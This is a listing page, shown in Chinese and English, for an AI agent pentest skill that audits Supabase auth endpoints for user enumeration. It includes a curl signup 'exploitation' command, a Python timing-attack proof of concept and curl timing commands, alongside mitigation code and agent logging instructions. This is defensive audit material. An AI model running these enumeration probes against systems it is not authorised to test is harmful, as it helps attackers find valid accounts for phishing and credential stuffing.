supabase-audit-auth-users by yoanbernabeu/supabase-pentest-skills
npx skills add https://github.com/yoanbernabeu/supabase-pentest-skills --skill supabase-audit-auth-users🔴 严重:需要渐进式文件更新
你必须在测试过程中就写入上下文文件,而不仅仅是最后才写。
- 在测试完每个端点后立即写入
.sb-pentest-context.json- 在每次测试前后记录到
.sb-pentest-audit.log- 切勿等到技能完成才更新文件
- 如果技能崩溃或被中断,所有先前的发现必须已经保存
这不是可选的。未能渐进式写入是严重错误。
此技能用于测试认证流程中的用户枚举漏洞。
当应用程序通过以下方式揭示用户帐户是否存在时,就会发生用户枚举:
| 向量 |
|---|
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
| 指标 |
|---|
| 不同的错误消息 | "用户未找到" 与 "密码错误" |
| 响应时间 | 不存在的用户响应快,存在的用户响应慢 |
| 响应代码 | 404 与 401 |
| 注册响应 | "邮箱已注册" |
| 风险 | 影响 |
|---|---|
| 针对性攻击 | 攻击者知道有效帐户 |
| 钓鱼攻击 | 确认目标拥有帐户 |
| 凭据填充 | 缩小攻击范围 |
| 隐私 | 泄露用户存在信息 |
| 端点 | 测试方法 |
|---|---|
/auth/v1/signup | 尝试注册已存在的邮箱 |
/auth/v1/token | 尝试使用不同邮箱登录 |
/auth/v1/recover | 尝试密码重置 |
/auth/v1/otp | 尝试为不同邮箱发送 OTP |
Test for user enumeration vulnerabilities
Test login endpoint for user enumeration
═══════════════════════════════════════════════════════════
用户枚举审计
═══════════════════════════════════════════════════════════
项目:abc123def.supabase.co
─────────────────────────────────────────────────────────
注册端点 (/auth/v1/signup)
─────────────────────────────────────────────────────────
测试:使用已知存在的邮箱进行 POST 请求
对已存在邮箱的响应:"用户已注册"
对新邮箱的响应:返回用户对象
状态:🟠 P2 - 可枚举
响应清楚地表明邮箱是否已注册。
利用方法:
```bash
curl -X POST https://abc123def.supabase.co/auth/v1/signup \
-H "apikey: [anon-key]" \
-H "Content-Type: application/json" \
-d '{"email": "target@example.com", "password": "test123"}'
# 如果用户存在:{"msg": "用户已注册"}
# 如果是新用户:用户已创建或需要确认
───────────────────────────────────────────────────────── 登录端点 (/auth/v1/token) ─────────────────────────────────────────────────────────
测试:使用不同邮箱场景进行 POST 请求
存在的邮箱,错误密码: ├── 响应:{"error": "无效的登录凭据"} ├── 时间:245ms └── 代码:400
不存在的邮箱: ├── 响应:{"error": "无效的登录凭据"} ├── 时间:52ms ← 明显更快! └── 代码:400
状态:🟠 P2 - 可通过时间差枚举
虽然错误消息相同,但响应时间明显不同: ├── 存在的用户:~200-300ms(密码哈希计算) └── 不存在的用户:~50-100ms(无哈希检查)
时间差攻击概念验证:
import requests
import time
def check_user(email):
start = time.time()
requests.post(
'https://abc123def.supabase.co/auth/v1/token',
params={'grant_type': 'password'},
json={'email': email, 'password': 'wrong'},
headers={'apikey': '[anon-key]'}
)
elapsed = time.time() - start
return elapsed > 0.15 # 阈值
exists = check_user('target@example.com')
───────────────────────────────────────────────────────── 密码恢复 (/auth/v1/recover) ─────────────────────────────────────────────────────────
测试:为不同邮箱发送恢复请求
存在的邮箱: ├── 响应:{"message": "密码恢复邮件已发送"} ├── 时间:1250ms(实际发送了邮件) └── 代码:200
不存在的邮箱: ├── 响应:{"message": "密码恢复邮件已发送"} ├── 时间:85ms ← 快得多(未发送邮件) └── 代码:200
状态:🟠 P2 - 可通过时间差枚举
消息相同,但时间差揭示了用户存在。存在的用户会触发实际的邮件发送(~1秒以上)。
───────────────────────────────────────────────────────── 魔法链接 / OTP (/auth/v1/otp) ─────────────────────────────────────────────────────────
测试:为不同邮箱请求 OTP
存在的邮箱: ├── 响应:{"message": "OTP 已发送"} ├── 时间:1180ms └── 代码:200
不存在的邮箱: ├── 响应:{"error": "用户未找到"} ├── 时间:95ms └── 代码:400
状态:🔴 P1 - 可直接枚举
错误消息明确说明用户不存在。
───────────────────────────────────────────────────────── 总结 ─────────────────────────────────────────────────────────
测试的端点:4 个 可枚举的:4 个(100%)
漏洞严重性: ├── 🔴 P1:OTP 端点(明确消息) ├── 🟠 P2:注册端点(明确消息) ├── 🟠 P2:登录端点(时间差攻击) └── 🟠 P2:恢复端点(时间差攻击)
总体用户枚举风险:高
攻击者可以确定任何邮箱地址是否在您的应用程序中拥有帐户。
───────────────────────────────────────────────────────── 缓解建议 ─────────────────────────────────────────────────────────
一致的响应 为所有场景返回相同的消息:"如果帐户存在,您将收到一封邮件"
一致的时间 添加人工延迟以标准化响应时间:
const MIN_RESPONSE_TIME = 1000; // 1 秒 const start = Date.now(); // ... 执行认证操作 ... const elapsed = Date.now() - start; await new Promise(r => setTimeout(r, Math.max(0, MIN_RESPONSE_TIME - elapsed) )); return response;
速率限制 已启用:每个 IP 3次/小时 也考虑对每个邮箱进行速率限制。
验证码 为重复尝试添加验证码:
监控 对枚举模式发出警报:
═══════════════════════════════════════════════════════════
## 时间分析
该技能测量响应时间以检测基于时间差的枚举:
存在的用户: ├── 密码哈希验证:~200-300ms ├── 邮件发送:~1000-2000ms └── 数据库查询:~5-20ms
不存在的用户: ├── 无哈希验证:0ms ├── 无邮件发送:0ms └── 数据库查询:~5-20ms(未找到)
阈值检测:
- 差异 > 100ms:可能存在时间差泄露
- 差异 > 500ms:确定存在时间差泄露
## 上下文输出
```json
{
"user_enumeration": {
"timestamp": "2025-01-31T13:30:00Z",
"endpoints_tested": 4,
"vulnerabilities": [
{
"endpoint": "/auth/v1/otp",
"severity": "P1",
"type": "explicit_message",
"existing_response": "OTP sent",
"missing_response": "User not found"
},
{
"endpoint": "/auth/v1/signup",
"severity": "P2",
"type": "explicit_message",
"existing_response": "User already registered",
"missing_response": "User created"
},
{
"endpoint": "/auth/v1/token",
"severity": "P2",
"type": "timing_attack",
"existing_time_ms": 245,
"missing_time_ms": 52
},
{
"endpoint": "/auth/v1/recover",
"severity": "P2",
"type": "timing_attack",
"existing_time_ms": 1250,
"missing_time_ms": 85
}
]
}
}
// 具有标准化时间的边缘函数
const MIN_RESPONSE_TIME = 1500; // 1.5 秒
Deno.serve(async (req) => {
const start = Date.now();
try {
// 执行实际的认证操作
const result = await handleAuth(req);
// 标准化响应时间
const elapsed = Date.now() - start;
await new Promise(r => setTimeout(r,
Math.max(0, MIN_RESPONSE_TIME - elapsed)
));
return new Response(JSON.stringify(result));
} catch (error) {
// 错误时使用相同的时间
const elapsed = Date.now() - start;
await new Promise(r => setTimeout(r,
Math.max(0, MIN_RESPONSE_TIME - elapsed)
));
// 通用错误消息
return new Response(JSON.stringify({
message: "如果您有帐户,请检查您的邮箱"
}));
}
});
// 不要泄露用户存在信息
async function requestPasswordReset(email: string) {
// 始终返回成功消息
const response = {
message: "如果该邮箱存在帐户," +
"您将收到密码重置链接。"
};
// 在后台执行实际重置(不要等待)
supabase.auth.resetPasswordForEmail(email).catch(() => {});
return response;
}
⚠️ 此技能必须在执行过程中渐进式更新跟踪文件,而不仅仅是在最后。
切勿在最后批量写入所有内容。而是:
.sb-pentest-audit.log.sb-pentest-context.json这确保了如果技能被中断、崩溃或超时,所有到该点的发现都会被保留。
更新.sb-pentest-context.json 并包含结果:
{ "user_enumeration": { "timestamp": "...", "endpoints_tested": 4, "vulnerabilities": [ ... ] } }
记录到.sb-pentest-audit.log:
[TIMESTAMP] [supabase-audit-auth-users] [START] 测试用户枚举 [TIMESTAMP] [supabase-audit-auth-users] [FINDING] P1:OTP 端点可枚举 [TIMESTAMP] [supabase-audit-auth-users] [CONTEXT_UPDATED] .sb-pentest-context.json 已更新
如果文件不存在,在写入之前创建它们。
未能更新上下文文件是不可接受的。
📁 证据目录: .sb-pentest-evidence/05-auth-audit/enumeration-tests/
| 文件 | 内容 |
|---|---|
enumeration-tests/login-timing.json | 登录端点时间分析 |
enumeration-tests/recovery-timing.json | 恢复端点时间分析 |
enumeration-tests/otp-enumeration.json | OTP 端点消息分析 |
{
"evidence_id": "AUTH-ENUM-001",
"timestamp": "2025-01-31T11:00:00Z",
"category": "auth-audit",
"type": "user_enumeration",
"tests": [
{
"endpoint": "/auth/v1/token",
"test_type": "timing_attack",
"severity": "P2",
"existing_user_test": {
"email": "[KNOWN_EXISTING]@example.com",
"response_time_ms": 245,
"response": {"error": "Invalid login credentials"}
},
"nonexisting_user_test": {
"email": "definitely-not-exists@example.com",
"response_time_ms": 52,
"response": {"error": "Invalid login credentials"}
},
"timing_difference_ms": 193,
"result": "ENUMERABLE",
"impact": "可通过时间差确定邮箱是否有帐户"
},
{
"endpoint": "/auth/v1/otp",
"test_type": "explicit_message",
"severity": "P1",
"existing_user_response": {"message": "OTP sent"},
"nonexisting_user_response": {"error": "User not found"},
"result": "ENUMERABLE",
"impact": "错误消息明确泄露用户存在信息"
}
],
"curl_commands": [
"# 时间测试 - 存在的用户\ntime curl -X POST '$URL/auth/v1/token?grant_type=password' -H 'apikey: $ANON_KEY' -d '{\"email\": \"existing@example.com\", \"password\": \"wrong\"}'",
"# 时间测试 - 不存在的用户\ntime curl -X POST '$URL/auth/v1/token?grant_type=password' -H 'apikey: $ANON_KEY' -d '{\"email\": \"nonexistent@example.com\", \"password\": \"wrong\"}'"
]
}
supabase-audit-auth-config — 完整的认证配置supabase-audit-auth-signup — 注册流程测试supabase-report — 包含在最终报告中每周安装量
92
仓库
GitHub 星标数
33
首次出现
2026年1月31日
安全审计
安装于
claude-code78
codex68
opencode67
gemini-cli64
github-copilot59
cursor59
🔴 CRITICAL: PROGRESSIVE FILE UPDATES REQUIRED
You MUST write to context files AS YOU GO , not just at the end.
- Write to
.sb-pentest-context.jsonIMMEDIATELY after each endpoint tested- Log to
.sb-pentest-audit.logBEFORE and AFTER each test- DO NOT wait until the skill completes to update files
- If the skill crashes or is interrupted, all prior findings must already be saved
This is not optional. Failure to write progressively is a critical error.
This skill tests for user enumeration vulnerabilities in authentication flows.
User enumeration occurs when an application reveals whether a user account exists through:
| Vector | Indicator |
|---|---|
| Different error messages | "User not found" vs "Wrong password" |
| Response timing | Fast for non-existent, slow for existing |
| Response codes | 404 vs 401 |
| Signup response | "Email already registered" |
| Risk | Impact |
|---|---|
| Targeted attacks | Attackers know valid accounts |
| Phishing | Confirm targets have accounts |
| Credential stuffing | Reduce attack scope |
| Privacy | Reveal user presence |
| Endpoint | Test Method |
|---|---|
/auth/v1/signup | Try registering existing email |
/auth/v1/token | Try login with various emails |
/auth/v1/recover | Try password reset |
/auth/v1/otp | Try OTP for various emails |
Test for user enumeration vulnerabilities
Test login endpoint for user enumeration
═══════════════════════════════════════════════════════════
USER ENUMERATION AUDIT
═══════════════════════════════════════════════════════════
Project: abc123def.supabase.co
─────────────────────────────────────────────────────────
Signup Endpoint (/auth/v1/signup)
─────────────────────────────────────────────────────────
Test: POST with known existing email
Response for existing: "User already registered"
Response for new email: User object returned
Status: 🟠 P2 - ENUMERABLE
The response clearly indicates if an email is registered.
Exploitation:
```bash
curl -X POST https://abc123def.supabase.co/auth/v1/signup \
-H "apikey: [anon-key]" \
-H "Content-Type: application/json" \
-d '{"email": "target@example.com", "password": "test123"}'
# If user exists: {"msg": "User already registered"}
# If new user: User created or confirmation needed
───────────────────────────────────────────────────────── Login Endpoint (/auth/v1/token) ─────────────────────────────────────────────────────────
Test: POST with different email scenarios
Existing email, wrong password: ├── Response: {"error": "Invalid login credentials"} ├── Time: 245ms └── Code: 400
Non-existing email: ├── Response: {"error": "Invalid login credentials"} ├── Time: 52ms ← Significantly faster! └── Code: 400
Status: 🟠 P2 - ENUMERABLE VIA TIMING
Although the error message is the same, the response time is noticeably different: ├── Existing user: ~200-300ms (password hashing) └── Non-existing: ~50-100ms (no hash check)
Timing Attack PoC:
import requests
import time
def check_user(email):
start = time.time()
requests.post(
'https://abc123def.supabase.co/auth/v1/token',
params={'grant_type': 'password'},
json={'email': email, 'password': 'wrong'},
headers={'apikey': '[anon-key]'}
)
elapsed = time.time() - start
return elapsed > 0.15 # Threshold
exists = check_user('target@example.com')
───────────────────────────────────────────────────────── Password Recovery (/auth/v1/recover) ─────────────────────────────────────────────────────────
Test: POST recovery request for different emails
Existing email: ├── Response: {"message": "Password recovery email sent"} ├── Time: 1250ms (email actually sent) └── Code: 200
Non-existing email: ├── Response: {"message": "Password recovery email sent"} ├── Time: 85ms ← Much faster (no email sent) └── Code: 200
Status: 🟠 P2 - ENUMERABLE VIA TIMING
Same message, but timing reveals existence. Existing users trigger actual email sending (~1s+).
───────────────────────────────────────────────────────── Magic Link / OTP (/auth/v1/otp) ─────────────────────────────────────────────────────────
Test: Request OTP for different emails
Existing email: ├── Response: {"message": "OTP sent"} ├── Time: 1180ms └── Code: 200
Non-existing email: ├── Response: {"error": "User not found"} ├── Time: 95ms └── Code: 400
Status: 🔴 P1 - DIRECTLY ENUMERABLE
The error message explicitly states user doesn't exist.
───────────────────────────────────────────────────────── Summary ─────────────────────────────────────────────────────────
Endpoints Tested: 4 Enumerable: 4 (100%)
Vulnerability Severity: ├── 🔴 P1: OTP endpoint (explicit message) ├── 🟠 P2: Signup endpoint (explicit message) ├── 🟠 P2: Login endpoint (timing attack) └── 🟠 P2: Recovery endpoint (timing attack)
Overall User Enumeration Risk: HIGH
An attacker can determine if any email address has an account in your application.
───────────────────────────────────────────────────────── Mitigation Recommendations ─────────────────────────────────────────────────────────
CONSISTENT RESPONSES Return identical messages for all scenarios: "If an account exists, you will receive an email"
CONSISTENT TIMING Add artificial delay to normalize response times:
const MIN_RESPONSE_TIME = 1000; // 1 second const start = Date.now(); // ... perform auth operation ... const elapsed = Date.now() - start; await new Promise(r => setTimeout(r, Math.max(0, MIN_RESPONSE_TIME - elapsed) )); return response;
RATE LIMITING Already enabled: 3/hour per IP Consider per-email rate limiting too.
CAPTCHA Add CAPTCHA for repeated attempts:
MONITORING Alert on enumeration patterns:
═══════════════════════════════════════════════════════════
## Timing Analysis
The skill measures response times to detect timing-based enumeration:
Existing user: ├── Password hash verification: ~200-300ms ├── Email sending: ~1000-2000ms └── Database lookup: ~5-20ms
Non-existing user: ├── No hash verification: 0ms ├── No email sending: 0ms └── Database lookup: ~5-20ms (not found)
Threshold detection:
- Difference > 100ms: Possible timing leak
- Difference > 500ms: Definite timing leak
## Context Output
```json
{
"user_enumeration": {
"timestamp": "2025-01-31T13:30:00Z",
"endpoints_tested": 4,
"vulnerabilities": [
{
"endpoint": "/auth/v1/otp",
"severity": "P1",
"type": "explicit_message",
"existing_response": "OTP sent",
"missing_response": "User not found"
},
{
"endpoint": "/auth/v1/signup",
"severity": "P2",
"type": "explicit_message",
"existing_response": "User already registered",
"missing_response": "User created"
},
{
"endpoint": "/auth/v1/token",
"severity": "P2",
"type": "timing_attack",
"existing_time_ms": 245,
"missing_time_ms": 52
},
{
"endpoint": "/auth/v1/recover",
"severity": "P2",
"type": "timing_attack",
"existing_time_ms": 1250,
"missing_time_ms": 85
}
]
}
}
// Edge Function with normalized timing
const MIN_RESPONSE_TIME = 1500; // 1.5 seconds
Deno.serve(async (req) => {
const start = Date.now();
try {
// Perform actual auth operation
const result = await handleAuth(req);
// Normalize response time
const elapsed = Date.now() - start;
await new Promise(r => setTimeout(r,
Math.max(0, MIN_RESPONSE_TIME - elapsed)
));
return new Response(JSON.stringify(result));
} catch (error) {
// Same timing for errors
const elapsed = Date.now() - start;
await new Promise(r => setTimeout(r,
Math.max(0, MIN_RESPONSE_TIME - elapsed)
));
// Generic error message
return new Response(JSON.stringify({
message: "Check your email if you have an account"
}));
}
});
// Don't reveal user existence
async function requestPasswordReset(email: string) {
// Always return success message
const response = {
message: "If an account with that email exists, " +
"you will receive a password reset link."
};
// Perform actual reset in background (don't await)
supabase.auth.resetPasswordForEmail(email).catch(() => {});
return response;
}
⚠️ This skill MUST update tracking files PROGRESSIVELY during execution, NOT just at the end.
DO NOT batch all writes at the end. Instead:
.sb-pentest-audit.log.sb-pentest-context.jsonThis ensures that if the skill is interrupted, crashes, or times out, all findings up to that point are preserved.
Update.sb-pentest-context.json with results:
{ "user_enumeration": { "timestamp": "...", "endpoints_tested": 4, "vulnerabilities": [ ... ] } }
Log to.sb-pentest-audit.log:
[TIMESTAMP] [supabase-audit-auth-users] [START] Testing user enumeration [TIMESTAMP] [supabase-audit-auth-users] [FINDING] P1: OTP endpoint enumerable [TIMESTAMP] [supabase-audit-auth-users] [CONTEXT_UPDATED] .sb-pentest-context.json updated
If files don't exist , create them before writing.
FAILURE TO UPDATE CONTEXT FILES IS NOT ACCEPTABLE.
📁 Evidence Directory: .sb-pentest-evidence/05-auth-audit/enumeration-tests/
| File | Content |
|---|---|
enumeration-tests/login-timing.json | Login endpoint timing analysis |
enumeration-tests/recovery-timing.json | Recovery endpoint timing |
enumeration-tests/otp-enumeration.json | OTP endpoint message analysis |
{
"evidence_id": "AUTH-ENUM-001",
"timestamp": "2025-01-31T11:00:00Z",
"category": "auth-audit",
"type": "user_enumeration",
"tests": [
{
"endpoint": "/auth/v1/token",
"test_type": "timing_attack",
"severity": "P2",
"existing_user_test": {
"email": "[KNOWN_EXISTING]@example.com",
"response_time_ms": 245,
"response": {"error": "Invalid login credentials"}
},
"nonexisting_user_test": {
"email": "definitely-not-exists@example.com",
"response_time_ms": 52,
"response": {"error": "Invalid login credentials"}
},
"timing_difference_ms": 193,
"result": "ENUMERABLE",
"impact": "Can determine if email has account via timing"
},
{
"endpoint": "/auth/v1/otp",
"test_type": "explicit_message",
"severity": "P1",
"existing_user_response": {"message": "OTP sent"},
"nonexisting_user_response": {"error": "User not found"},
"result": "ENUMERABLE",
"impact": "Error message explicitly reveals user existence"
}
],
"curl_commands": [
"# Timing test - existing user\ntime curl -X POST '$URL/auth/v1/token?grant_type=password' -H 'apikey: $ANON_KEY' -d '{\"email\": \"existing@example.com\", \"password\": \"wrong\"}'",
"# Timing test - non-existing user\ntime curl -X POST '$URL/auth/v1/token?grant_type=password' -H 'apikey: $ANON_KEY' -d '{\"email\": \"nonexistent@example.com\", \"password\": \"wrong\"}'"
]
}
supabase-audit-auth-config — Full auth configurationsupabase-audit-auth-signup — Signup flow testingsupabase-report — Include in final reportWeekly Installs
92
Repository
GitHub Stars
33
First Seen
Jan 31, 2026
Security Audits
Gen Agent Trust HubFailSocketPassSnykWarn
Installed on
claude-code78
codex68
opencode67
gemini-cli64
github-copilot59
cursor59
Supabase Postgres 最佳实践指南 - 8大类别性能优化规则与SQL示例
78,800 周安装